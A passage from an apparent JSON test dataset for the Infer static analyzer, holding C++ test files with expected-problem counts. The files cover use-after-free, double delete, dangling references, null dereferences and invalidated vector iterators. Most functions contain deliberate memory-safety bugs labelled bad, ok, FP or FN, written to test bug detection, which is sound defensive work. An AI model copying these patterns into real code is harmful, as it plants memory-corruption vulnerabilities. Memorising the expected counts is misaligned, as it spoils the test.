here\n }\n\n void intermediate_copy_points_to_ref_param_ok(Arr& param) {\n auto& ref = param;\n get_first_elem(ref);\n }\n\n void copy_assignment_copy_ptr_bad() {\n Ptr c{};\n c.ptr = global_ptr.ptr;\n ptr_field = c; // ok to move here\n }\n\n void copy_assign_from_unknown_ok() { ptr_field = *get_unknown_ptr_field(); }\n};\n\nstruct ArrWrap {\n Arr arr;\n};\n\nvoid captured_by_ref_ok() {\n Arr x;\n auto _ = [&]() {\n ArrWrap y;\n y.arr = x;\n return y;\n };\n x.arr[0] = 42;\n}\n" + }, + { + "testname": "use_after_delete.cpp", + "testlanguage": "c++", + "expected-problems": 26, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nstruct Simple {\n int f;\n};\n\nvoid deref_deleted_bad() {\n auto* s = new Simple{1};\n delete s;\n Simple tmp = *s;\n}\n\n// could be ok depending on what the caller does\nSimple* return_deleted_ok() {\n auto s = new Simple{1};\n delete s;\n return s;\n}\n\nSimple* reassign_deleted_ok() {\n auto s = new Simple{1};\n delete s;\n s = new Simple{2};\n return s;\n}\n\nvoid reassign_field_of_deleted_bad() {\n auto s = new Simple{1};\n delete s;\n s->f = 7;\n}\n\nvoid reassign_field_of_reinitialized_ok(Simple* tmp) {\n auto s = new Simple{1};\n delete s;\n s = tmp;\n s->f = 7;\n}\n\nvoid double_delete_bad() {\n auto s = new Simple{1};\n delete s;\n delete s;\n}\n\nvoid delete_in_branch_bad(bool b) {\n auto s = new Simple{1};\n if (b) {\n delete s;\n }\n s->f = 7;\n // avoid leak\n if (!b) {\n delete s;\n }\n}\n\nvoid delete_in_branch_ok(bool b) {\n auto s = new Simple{1};\n if (b) {\n delete s;\n } else {\n delete s;\n }\n}\n\nvoid use_in_branch_bad(bool b) {\n auto s = new Simple{1};\n delete s;\n if (b) {\n auto tmp = *s;\n }\n}\n\nvoid delete_in_loop_bad() {\n auto s = new Simple{1};\n for (int i = 0; i < 10; i++) {\n delete s;\n }\n}\n\nvoid delete_in_loop_ok() {\n for (int i = 0; i < 10; i++) {\n auto s = new Simple{1};\n delete s;\n }\n}\n\nvoid delete_ref_in_loop_ok(int j, std::vector v) {\n for (int i = 0; i < 10; i++) {\n auto s = &v[i];\n delete s;\n }\n}\n\nvoid use_in_loop_bad() {\n auto s = new Simple{1};\n delete s;\n for (int i = 0; i < 10; i++) {\n s->f = i;\n }\n}\n\nvoid gated_delete_abort_ok(bool b) {\n auto s = new Simple{1};\n if (b) {\n delete s;\n std::abort();\n }\n s->f = 7;\n // avoid leak\n if (!b) {\n delete s;\n }\n}\n\nvoid gated_exit_abort_ok(bool b) {\n auto s = new Simple{1};\n if (b) {\n delete s;\n exit(1);\n }\n s->f = 7;\n // avoid leak\n if (!b) {\n delete s;\n }\n}\n\nvoid gated_delete_throw_ok(bool b) {\n auto s = new Simple{1};\n if (b) {\n delete s;\n throw 5;\n }\n s->f = 7;\n // avoid leak\n if (!b) {\n delete s;\n }\n}\n\nvoid delete_allocated_then_error_bad(int* x) {\n *x = 42;\n delete x;\n *x = 0;\n}\n\nvoid null_call_delete_allocated_then_error_bad(int* x) {\n delete_allocated_then_error_bad(nullptr);\n}\n\nstruct Nested {\n Simple s;\n};\n\nvoid access_field_after_delete_bad() {\n auto x = new Nested();\n int* p = &x->s.f;\n delete (x);\n *p = 42;\n}\n" + }, + { + "testname": "use_after_destructor.cpp", + "testlanguage": "c++", + "expected-problems": 52, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nnamespace use_after_destructor {\n\nstruct S {\n int* f;\n S(int i) {\n f = new int;\n *f = i;\n }\n\n // missing: operator= to copy the pointer. double delete can happen if\n // operator= is called\n\n ~S() { delete f; }\n\n void reinit(S s) {\n f = new int;\n *f = *(s.f);\n }\n};\n\n// destructor called at end of function, no issues\nvoid normal_scope_destructor_ok() { S s(1); }\n\nvoid nested_scope_destructor_ok() {\n { S s(1); }\n}\n\nint reinit_after_explicit_destructor_ok() {\n S s(1);\n s.~S();\n s.reinit(S(2));\n return *s.f;\n}\n\nint reinit_after_explicit_destructor_bad() {\n S s(1);\n s.~S();\n s = S(2); // a temporary is created then operator= is called\n return *s.f;\n}\n\nint reinit_after_explicit_destructor2_bad() {\n S s(1);\n S s2(2);\n s.~S();\n s = s2; // operator=\n return *s.f;\n // [s2.f] is [s.f] so gets deleted twice\n}\n\nvoid placement_new_explicit_destructor_ok() {\n char buf[sizeof(S)];\n {\n S* s = new (buf) S(1);\n s->~S();\n }\n {\n // this use of [buf] shouldn't be flagged\n S* s = new (buf) S(2);\n s->~S();\n }\n}\n\nvoid double_destructor_bad() {\n S s(1);\n s.~S();\n // destructor will be called again after S goes out of scope, which is\n // undefined behavior\n}\n\nint use_after_destructor_bad() {\n S s(1);\n s.~S();\n int ret = *s.f;\n s = S{2};\n return ret;\n}\n\n// S::operator= doesn't copy resources correctly\nvoid use_after_scope1_bad() {\n S s(1);\n {\n S tmp(2);\n s = tmp; // translated as operator=(s, tmp)\n } // destructor for tmp runs here\n // destructor for s here; second time the value held by s has been destructed\n}\n\n// same as above\nvoid use_after_scope2_bad() {\n S s(1);\n { s = S(1); }\n}\n\nstruct POD {\n int f;\n};\n\n// this code is ok since double-destructing POD struct is ok\nvoid destruct_twice_ok() {\n POD p{1};\n {\n POD tmp{2};\n p = tmp;\n } // destructor for tmp\n} // destructor for p runs here, but it's harmless\n\nclass Subclass : virtual POD {\n int* f;\n Subclass() { f = new int; }\n\n /** frontend code for this destructor will be:\n * ~Subclass:\n * __infer_inner_destructor_~Subclass(this)\n * __infer_inner_destructor_~POD(this)\n *\n * __infer_inner_destructor_~Subclass:\n * delete f;\n *\n * We need to be careful not to warn that this has been double-destructed\n */\n ~Subclass() { delete f; }\n};\n\nvoid basic_placement_new_ok() {\n S* ptr = new S(1);\n ptr->~S();\n S* tptr = new (ptr) S(1);\n delete tptr;\n}\n\n// the correct code is shown in basic_placement_new_ok()\nvoid placement_new_wrong_order_bad() {\n S* ptr = new S(1);\n S* tptr = new (ptr) S(1); // leaking ptr->f\n tptr->~S();\n delete ptr; // deleting tptr->f again because of the aliasing induced by\n // placement new\n}\n\nint* destruct_pointer_contents_then_placement_new1_ok(S* s) {\n s->~S();\n new (s) S(1);\n return s->f;\n}\n\nint* destruct_pointer_contents_then_placement_new2_ok(S* s) {\n s->~S();\n new (&(s->f)) S(1);\n return s->f;\n}\n\nint* placement_new_aliasing1_bad() {\n S* s = new S(1);\n s->~S();\n auto alias = new (s) S(2);\n delete alias; // this deletes s too\n return s->f; // bad, accessing freed memory\n}\n\nint* placement_new_aliasing2_bad() {\n S* s = new S(1);\n s->~S();\n auto alias = new (s) S(2);\n delete s; // this deletes alias too\n return alias->f; // bad, accessing freed memory\n}\n\nint* placement_new_aliasing3_bad() {\n S* s = new S(1);\n s->~S();\n S* alias = s;\n auto alias_placement = new (s) S(2);\n delete s; // this deletes alias too\n return alias->f; // bad, accessing freed memory\n}\n\nvoid placement_new_non_var_ok() {\n struct M {\n S* s;\n } m;\n m.s = new S(1);\n m.s->~S();\n new (m.s) S(2);\n delete m.s;\n}\n\nS* return_placement_new_ok() {\n auto mem = new S(1);\n mem->~S();\n return new (mem) S(2);\n}\n\nvoid destructor_in_loop_ok() {\n for (int i = 0; i < 10; i++) {\n S s(1);\n }\n}\n\nint FN_use_after_scope3_bad() {\n int* p;\n {\n int value = 3;\n p = &value;\n } // we do not know in the plugin that value is out of scope\n return *p;\n}\n\nstruct C {\n C(int v) : f(v){};\n ~C();\n int f;\n};\n\nint use_after_scope4_bad() {\n C* pc;\n {\n C c(3);\n pc = &c;\n }\n return pc->f;\n}\n\nstruct B {\n ~B();\n};\n\nstruct A {\n ~A() { (void)*f; }\n const B* f;\n};\n\nvoid FN_destructor_order_bad() {\n A a;\n B b;\n a.f = &b;\n}\n\nstruct A2 {\n ~A2() {}\n const B* f;\n};\n\nvoid destructor_order_empty_destructor_ok() {\n A2 a;\n B b;\n a.f = &b;\n}\n\nstd::string mk_string();\n\nvoid variable_init_ternary_ok(bool b) {\n // this can cause issues because of the way the frontend treatment of ternary\n // ?: interacts with the treatment of passing return values by reference as\n // parameters\n std::string newPath = b ? \"\" : mk_string();\n}\n\nvoid move_data(POD* from, POD* to);\n\nstruct Moveable {\n Moveable() = default;\n Moveable(const Moveable&) = delete; // not copyable\n\n // move constructor\n Moveable(Moveable&& that) noexcept { move_data(&that.data, &data); }\n\n Moveable& operator=(Moveable&& that) noexcept {\n this->~Moveable();\n ::new (this) Moveable(std::move(that));\n return *this;\n }\n\n ~Moveable() {}\n\n Moveable& operator=(const Moveable&) = delete;\n\n POD data;\n};\n\nvoid move_moveable_ok(Moveable& src) {\n Moveable x;\n x = std::move(src);\n}\n\nvoid placement_new_nothrow_ok() {\n std::unique_ptr p1(new (std::nothrow) int);\n std::unique_ptr p2(new (std::nothrow) int);\n}\n} // namespace use_after_destructor\n" + }, + { + "testname": "use_after_free.cpp", + "testlanguage": "c++", + "expected-problems": 29, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nint use_after_free_simple_bad(int* x) {\n free(x);\n return *x;\n}\n\nvoid double_free_simple_bad(int* x) {\n free(x);\n free(x);\n}\n\nint* global_pointer;\n\nvoid free_global_pointer_ok() { free(global_pointer); }\n\nvoid double_free_global_bad() {\n free_global_pointer_ok();\n free_global_pointer_ok();\n}\n\nvoid free_null_then_deref_bad() {\n int* x = NULL;\n free(x);\n *x = 1;\n}\n\nvoid assumed_aliasing_latent(int* x, int* y) {\n if (x == y) {\n free(x);\n free(y);\n }\n}\n\nvoid trigger_assumed_aliasing_bad(int* x) { assumed_aliasing_latent(x, x); }\n\nvoid assumed_aliasing2_latent(int* x, int* y) {\n if (x == y)\n ;\n free(x);\n free(y);\n}\n\nvoid trigger_assumed_aliasing2_bad(int* x) { assumed_aliasing2_latent(x, x); }\n\nvoid assumed_aliasing3_latent(int* x, int* y) {\n free(x);\n if (x == y)\n ;\n free(y);\n}\n\nvoid trigger_assumed_aliasing3_bad(int* x) { assumed_aliasing3_latent(x, x); }\n\nvoid FN_assumed_aliasing4_latent(int* x, int* y) {\n free(x);\n free(y);\n // we create the x==y case too late: x|->- * y|->- is already in the\n // state so adding x==y creates a contradition\n if (x == y)\n ;\n}\n\nvoid FN_trigger_assumed_aliasing4_bad(int* x) {\n FN_assumed_aliasing4_latent(x, x);\n}\n" + }, + { + "testname": "use_after_scope.cpp", + "testlanguage": "c++", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n#include \n#include \n\nvoid invalidate_local_ok(int** pp) {\n int t = 0xdeadbeef;\n *pp = &t; // <-- potential bug here since t goes out of scope\n}\n\nvoid access_out_of_scope_stack_ref_bad() {\n int* p = NULL;\n invalidate_local_ok(&p);\n int k = *p; // accessing invalid\n}\n\nvoid no_access_out_of_scope_stack_ref_ok() {\n int* p = NULL;\n invalidate_local_ok(&p);\n // p is not accessed, hence ok\n}\n\nstd::pair return_make_pair() {\n std::string s = \"abc\";\n return std::make_pair(s, 42);\n}\n\nstd::string make_pair_first_ok() { return return_make_pair().first; }\n" + }, + { + "testname": "use_global.cpp", + "testlanguage": "c++", + "expected-problems": 2, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \"global.h\"\n\nvoid use_global_ok() {\n set_global_42();\n if (g != 42) {\n int* p = nullptr;\n *p = 42;\n }\n}\n" + }, + { + "testname": "values.cpp", + "testlanguage": "c++", + "expected-problems": 46, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nvoid error_under_true_conditionals_bad(int* x) {\n if (1) {\n free(x);\n }\n if (2 == 2) {\n *x = 42;\n }\n}\n\nvoid simple_infeasible_error_path_ok(int* x) {\n free(x);\n if (0 == 1) {\n *x = 42;\n }\n\n int y = 0;\n if (y == 1) {\n *x = 42;\n }\n if (y) {\n *x = 42;\n }\n if (y != 0) {\n *x = 42;\n }\n if (!(y == 0)) {\n *x = 42;\n }\n if (!(!(y != 0))) {\n *x = 42;\n }\n if (!(!(!(0 == y)))) {\n *x = 42;\n }\n}\n\nvoid free_if(int* x, int b) {\n if (b) {\n free(x);\n }\n}\n\nvoid no_free_if_ok(int* x) {\n free_if(x, 0);\n *x = 42;\n}\n\nvoid free_if_deref_bad(int* x) {\n free_if(x, 1);\n *x = 42;\n}\n\nvoid infeasible_tricky_ok(int* x) {\n free_if(x, 1);\n int y = 42;\n if (2 * y != y << 1) {\n free(x);\n *x = 42;\n }\n}\n\nint minus(int x, int y) { return x - y; }\n\nvoid function_call_infeasible_error_path_ok(int* x) {\n free(x);\n if (minus(0, 0) < 0) {\n *x = 42;\n }\n}\n\n// somewhat like folly::Range\nstruct StringRange {\n char const *b_, *e_;\n StringRange() : b_(), e_(){};\n char const* data() const { return b_; }\n size_t size() const { return size_t(e_ - b_); }\n};\n\nvoid function_empty_range_ok() {\n StringRange x{};\n auto b = x.data(), past = x.data() + x.size();\n for (;; ++b) {\n if (b >= past) {\n return;\n }\n if (*b != ' ') {\n break;\n }\n }\n}\n\nvoid find_first_non_space(StringRange& x) {\n auto b = x.data(), past = x.data() + x.size();\n for (;; ++b) {\n if (b >= past) {\n return;\n }\n if (*b != ' ') {\n break;\n }\n }\n}\n\nvoid function_empty_range_interproc_ok() {\n StringRange x{};\n find_first_non_space(x);\n}\n\n// arithmetic on integers does not wrap around but ignores too-large\n// values. However, somehow the FP is gone for other reasons.\nvoid int_over_cap_ok() {\n unsigned long one = 1;\n // 2^(63+63+3) + 2*2^(63+3) + 1*8 = 2^129 + 2^67 + 8 = 8 mod 2^64\n // this is convoluted to escape various simplifications from Z that would\n // avoid the false positive\n unsigned long x = ((one << 62) * 2 + 1) * ((one << 62) * 2 + 1) * 8;\n unsigned long y = ((one << 62) * 2 + 1) * ((one << 62) * 2 + 1) * 8;\n // - x == y+1 is true in \"Formulas\" because x = y = Q.undef, but not true in\n // inferbo intervals because they keep arbitrary precision integers\n // - x != 8 is not true in Formulas but true in inferbo\n // - In C both of these would be false, so overall we get a false positive\n if (x == y + 1 || x != 8) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid int_under_cap_ok() {\n unsigned long one = 1;\n // 2^63\n unsigned long x = (one << 62) * 2;\n if (x != 9223372036854775808UL) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n// used to confuse inferbo\nint mult(int x, int y) { return x * y; }\n\nvoid ints_are_not_rationals_ok() {\n int x = 5 / 2;\n if (x != mult(2, 1)) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\nvoid shift_equal_mult_by_power_of_two_ok(int x) {\n if (x << 1 != mult(2, x)) {\n int* p = nullptr;\n *p = 42;\n }\n}\n\n#pragma clang diagnostic push\n#pragma clang diagnostic ignored \"-Wshift-count-overflow\"\nvoid shift_by_too_much_ok(int x) {\n if (x << 64 != 0 || x >> 4000 != 0) {\n int* p = nullptr;\n *p = 42;\n }\n}\n#pragma clang diagnostic pop\n\nvoid interproc_mult_ok(int v, int w) {\n if (mult(32, 52) != 1664 || mult(10, v) != 10 * v || mult(v, w) != v * w) {\n int* p = nullptr;\n *p = 42;\n }\n}\n" + }, + { + "testname": "vector.cpp", + "testlanguage": "c++", + "expected-problems": 135, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n#include \n\nstruct Vector {\n std::vector> u_vector;\n std::vector> s_vector;\n int add(std::unique_ptr u_ptr) {\n u_vector.push_back(std::move(u_ptr));\n return 0;\n }\n int add(std::shared_ptr s_ptr) {\n s_vector.push_back(s_ptr);\n return 0;\n }\n static Vector* getInstance() {\n static Vector instance;\n return &instance;\n }\n};\n\n// missing a more precise model for vector::push_back\nint push_back0_ok(int* value) {\n std::unique_ptr ptr(value);\n Vector* v = Vector::getInstance();\n v->add(std::move(ptr));\n // value should not be deallocated: it is owned by the first element of\n // u_vector\n return *value;\n}\n\n// missing a more precise model for vector::push_back\nint FP_push_back1_ok(int* value) {\n {\n std::shared_ptr ptr(value);\n Vector* v = Vector::getInstance();\n v->add(ptr);\n }\n // value should not be deallocated: it is owned by the first element of\n // s_vector\n return *value;\n}\n\nint push_back0_bad() {\n std::vector v;\n int n = 42;\n v.push_back(n);\n if (v.back() == 42) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size0_ok() {\n std::vector v;\n if (v.size() != 0) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size1_ok() {\n std::vector v;\n v.push_back(0);\n v.push_back(42);\n if (v.size() != 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size2_ok() {\n std::vector v;\n v.push_back(0);\n v.push_back(42);\n std::vector v_copy{v};\n if (v_copy.size() != 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size3_ok() {\n std::vector v;\n v.push_back(0);\n std::vector v_copy{v};\n v.push_back(0);\n if (v.size() != 2 || v_copy.size() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\n// missing a more precise model for std::initializer_list\nint FP_size4_ok() {\n std::vector v{0, 42};\n if (v.size() != 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size5_ok() {\n std::vector v;\n v.push_back(0);\n v.push_back(0);\n v.pop_back();\n if (v.size() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size0_bad() {\n std::vector v;\n if (v.size() == 0) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size1_bad() {\n std::vector v;\n v.push_back(0);\n v.push_back(42);\n if (v.size() == 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint size2_bad() {\n std::vector v;\n v.push_back(0);\n std::vector v_copy{v};\n v_copy.push_back(0);\n if (v.size() == 1 && v_copy.size() == 2) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint empty0_ok() {\n std::vector v;\n if (!v.empty()) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint empty1_ok() {\n std::vector v;\n v.push_back(0);\n if (v.empty()) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint empty2_ok() {\n std::vector v;\n v.push_back(0);\n v.pop_back();\n if (!v.empty()) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint empty0_bad() {\n std::vector v;\n if (v.empty()) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nvoid deref_vector_element_after_push_back_bad(std::vector& vec) {\n int* elt = &vec[1];\n int* y = elt;\n vec.push_back(42);\n std::cout << *y << \"\\n\";\n}\n\n// slight variation of above, in particular use vector::at()\nvoid deref_vector_pointer_element_after_push_back_bad(std::vector* vec) {\n int* elt = &vec->at(1);\n int* y = elt;\n vec->push_back(42);\n std::cout << *y << \"\\n\";\n}\n\nvoid deref_local_vector_element_after_push_back_bad() {\n std::vector vec = {0, 0};\n int* elt = &vec[1];\n vec.push_back(42);\n std::cout << *elt << \"\\n\";\n}\n\nvoid deref_null_local_vector_element_bad() {\n std::vector vec = {nullptr};\n std::cout << *vec[0] << \"\\n\";\n}\n\nvoid two_push_back_ok(std::vector& vec) {\n vec.push_back(32);\n vec.push_back(52);\n}\n\nvoid push_back_in_loop_ok(std::vector& vec, std::vector& vec_other) {\n for (const auto& i : vec_other) {\n vec.push_back(i);\n }\n}\n\nvoid reserve_then_push_back_ok(std::vector& vec) {\n vec.reserve(vec.size() + 1);\n int* elt = &vec[1];\n vec.push_back(42);\n std::cout << *elt << \"\\n\";\n}\n\nvoid FN_reserve_too_small_bad() {\n std::vector vec;\n vec.reserve(1);\n vec.push_back(32);\n int* elt = &vec[0];\n vec.push_back(52);\n std::cout << *elt << \"\\n\";\n}\n\nvoid reserve_then_push_back_loop_ok(std::vector& vec,\n std::vector& vec_other) {\n vec.reserve(vec.size() + vec_other.size());\n int* elt = &vec[1];\n for (const auto& i : vec_other) {\n vec.push_back(i);\n }\n std::cout << *elt << \"\\n\";\n}\n\nvoid FP_init_fill_then_push_back_ok(std::vector& vec_other) {\n std::vector vec(vec_other.size());\n int* elt = &vec[1];\n vec.push_back(0);\n vec.push_back(0);\n vec.push_back(0);\n vec.push_back(0);\n std::cout << *elt << \"\\n\";\n}\n\nvoid push_back_loop_bad(std::vector& vec_other) {\n std::vector vec(2);\n int* elt = &vec[1];\n for (const auto& i : vec_other) {\n vec.push_back(i);\n }\n std::cout << *elt << \"\\n\";\n}\n\nvoid reserve_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.reserve(vec.size() + 1);\n std::cout << *elt << \"\\n\";\n}\n\nvoid clear_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.clear();\n std::cout << *elt << \"\\n\";\n}\n\nvoid assign_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.assign(11, 7);\n std::cout << *elt << \"\\n\";\n}\n\nvoid shrink_to_fit_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.shrink_to_fit();\n std::cout << *elt << \"\\n\";\n}\n\nvoid insert_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.insert(vec.begin(), 7);\n std::cout << *elt << \"\\n\";\n}\n\nvoid emplace_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.emplace(vec.begin(), 7);\n std::cout << *elt << \"\\n\";\n}\n\nvoid emplace_back_bad(std::vector& vec) {\n int* elt = &vec[1];\n vec.emplace_back(7);\n std::cout << *elt << \"\\n\";\n}\n\nvoid f(int&);\n\nvoid push_back_value_ok(std::vector& vec) {\n int x = vec[0];\n vec.push_back(7);\n f(x);\n}\n\nstruct VectorA {\n int x;\n\n void push_back_value_field_ok(std::vector& vec) {\n x = vec[0];\n vec.push_back(7);\n f(x);\n }\n};\n\nvoid push_back_wrapper() {\n static std::vector v{};\n v.push_back(7);\n}\n\nvoid call_push_back_wrapper_ok() {\n push_back_wrapper();\n push_back_wrapper();\n}\n\nint emplace_back_size_ok() {\n std::vector v;\n v.emplace_back(42);\n if (v.size() != 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n\nint emplace_back_size_bad() {\n std::vector v;\n v.emplace_back(42);\n if (v.size() == 1) {\n int* q = nullptr;\n return *q;\n }\n return 0;\n}\n" + }, + { + "testname": "vector_iterator.cpp", + "testlanguage": "c++", + "expected-problems": 37, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid iterator_read_after_emplace_bad(std::vector& vec) {\n auto iter = vec.begin();\n vec.emplace(iter, 4);\n std::cout << *iter << '\\n';\n}\n\nvoid iterator_next_after_emplace_bad(std::vector& vec) {\n auto iter = vec.begin();\n vec.emplace(iter, 4);\n ++iter;\n std::cout << *iter << '\\n';\n}\n\nvoid another_iterator_ok(std::vector& vec) {\n auto iter = vec.begin();\n vec.emplace(iter, 4);\n auto another_iter = vec.begin();\n std::cout << *another_iter << '\\n';\n ++another_iter;\n std::cout << *another_iter << '\\n';\n}\n\nvoid read_iterator_loop_ok(std::vector& vec) {\n int sum = 0;\n for (auto iter = vec.begin(); iter != vec.end(); ++iter) {\n sum += *iter;\n }\n}\n\nvoid iterator_next_after_emplace_loop_latent(std::vector& vec) {\n int sum = 0;\n for (auto iter = vec.begin(); iter != vec.end(); ++iter) {\n int elem = *iter;\n sum += elem;\n if (elem < 0)\n vec.emplace(iter, -elem);\n }\n}\n\nvoid iterator_after_push_back_loop_bad(std::vector& vec_other) {\n std::vector vec(2);\n auto iter_begin = vec.begin();\n auto iter_end = vec.end();\n for (const auto& i : vec_other) {\n vec.push_back(i);\n }\n int sum = 0;\n for (auto iter = iter_begin; iter != iter_end; ++iter) {\n sum += *iter;\n }\n}\n\nvoid FN_iterator_empty_vector_read_bad() {\n std::vector vec = {};\n auto iter = vec.begin();\n std::cout << *iter << '\\n';\n}\n\nvoid iterator_end_read_bad() {\n std::vector vec = {1, 2};\n auto iter = vec.end();\n std::cout << *iter << '\\n';\n}\n\nvoid iterator_end_next_bad() {\n std::vector vec = {1, 2};\n auto iter = vec.end();\n ++iter;\n}\n\nvoid iterator_end_prev_read_ok() {\n std::vector vec = {1, 2};\n auto iter = vec.end();\n std::cout << *(--iter) << '\\n';\n}\n\nvoid iterator_prev_after_emplace_bad(std::vector& vec) {\n auto iter = vec.begin();\n ++iter;\n vec.emplace(iter, 4);\n --iter;\n std::cout << *iter << '\\n';\n}\n\nvoid FN_iterator_begin_prev_read_bad() {\n std::vector vec = {1, 2};\n auto iter = vec.begin();\n std::cout << *(--iter) << '\\n';\n}\n\nbool for_each_ok(std::vector& vec, bool b) {\n int res = 0;\n for (const auto& elem : vec) {\n res += 0;\n }\n return b;\n}\n\nvoid call_iterator_loop_ok(bool b) {\n std::vector vec;\n bool finished = false;\n while (!finished) {\n if (!for_each_ok(vec, b))\n return;\n }\n}\n\nstd::vector::iterator find(std::vector& vec, bool b) {\n for (auto it = vec.begin(); it != vec.end(); ++it) {\n if (b) {\n return it;\n }\n }\n return vec.end();\n}\n\nvoid iterator_end_returned_ok(std::vector vec, bool b) {\n auto it = find(vec, b);\n if (it != vec.end()) {\n *it = 3;\n } else {\n return;\n }\n}\n" + }, + { + "testname": "weak_ptr.cpp", + "testlanguage": "c++", + "expected-problems": 63, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n#include \n\nnamespace weak_ptr_constructors {\n\nstruct Base {\n int* f1;\n Base(int* f1 = nullptr) : f1(f1) {}\n};\n\nstruct Derived : public Base {\n int* f2;\n Derived(int* f1 = nullptr) : Base(f1) {}\n};\n\nstd::weak_ptr empty() { return std::weak_ptr(); }\n\nstd::weak_ptr fromWeakBaseConstr(std::weak_ptr b) {\n return std::weak_ptr(b);\n}\n\nstd::weak_ptr fromWeakBaseAssign(std::weak_ptr b) {\n std::weak_ptr result;\n result = b;\n return result;\n}\n\nstd::weak_ptr fromWeakDerivedConstr(std::weak_ptr d) {\n return std::weak_ptr(d);\n}\n\nstd::weak_ptr fromWeakDerivedAssign(std::weak_ptr d) {\n std::weak_ptr result;\n result = d;\n return result;\n}\n\nstd::weak_ptr fromSharedBaseConstr(std::shared_ptr b) {\n return std::weak_ptr(b);\n}\n\nstd::weak_ptr fromSharedBaseAssign(std::shared_ptr b) {\n std::weak_ptr result;\n result = b;\n return result;\n}\n\nstd::weak_ptr fromSharedDerivedConstr(std::shared_ptr d) {\n return std::weak_ptr(d);\n}\n\nstd::weak_ptr fromSharedDerivedConstr2(std::shared_ptr d) {\n std::weak_ptr sd(d);\n return std::weak_ptr(sd);\n}\n\nstd::weak_ptr fromSharedDerivedAssign(std::shared_ptr d) {\n std::weak_ptr sd(d);\n std::weak_ptr result;\n result = sd;\n return result;\n}\n} // namespace weak_ptr_constructors\n\nnamespace weak_ptr_derefs {\nusing namespace weak_ptr_constructors;\n\nint safeGetFromEmpty_good() {\n auto w = empty();\n auto s = w.lock();\n while (!s)\n ;\n return *s->f1; // never reached\n}\n\nstd::shared_ptr safeGet(std::weak_ptr p) {\n auto s = p.lock();\n while (!s)\n ;\n return s;\n}\n\nint FN_safeGetFromWeakBaseConstr_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromWeakBaseConstr(std::weak_ptr(b)));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromWeakBaseAssign_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromWeakBaseAssign(std::weak_ptr(b)));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromWeakDerivedConstr_bad(int v) {\n auto d = std::make_shared(&v);\n auto s = safeGet(fromWeakDerivedConstr(std::weak_ptr(d)));\n d->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromWeakDerivedAssign_bad(int v) {\n auto d = std::make_shared(&v);\n auto s = safeGet(fromWeakDerivedAssign(std::weak_ptr(d)));\n d->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromSharedBaseConstr_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromSharedBaseConstr(b));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromSharedBaseAssign_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromSharedBaseAssign(b));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromSharedDerivedConstr_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromSharedDerivedConstr(b));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromSharedDerivedConstr2_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromSharedDerivedConstr2(b));\n b->f1 = nullptr;\n return *s->f1;\n}\n\nint FN_safeGetFromSharedDerivedAssign_bad(int v) {\n auto b = std::make_shared(&v);\n auto s = safeGet(fromSharedDerivedAssign(b));\n b->f1 = 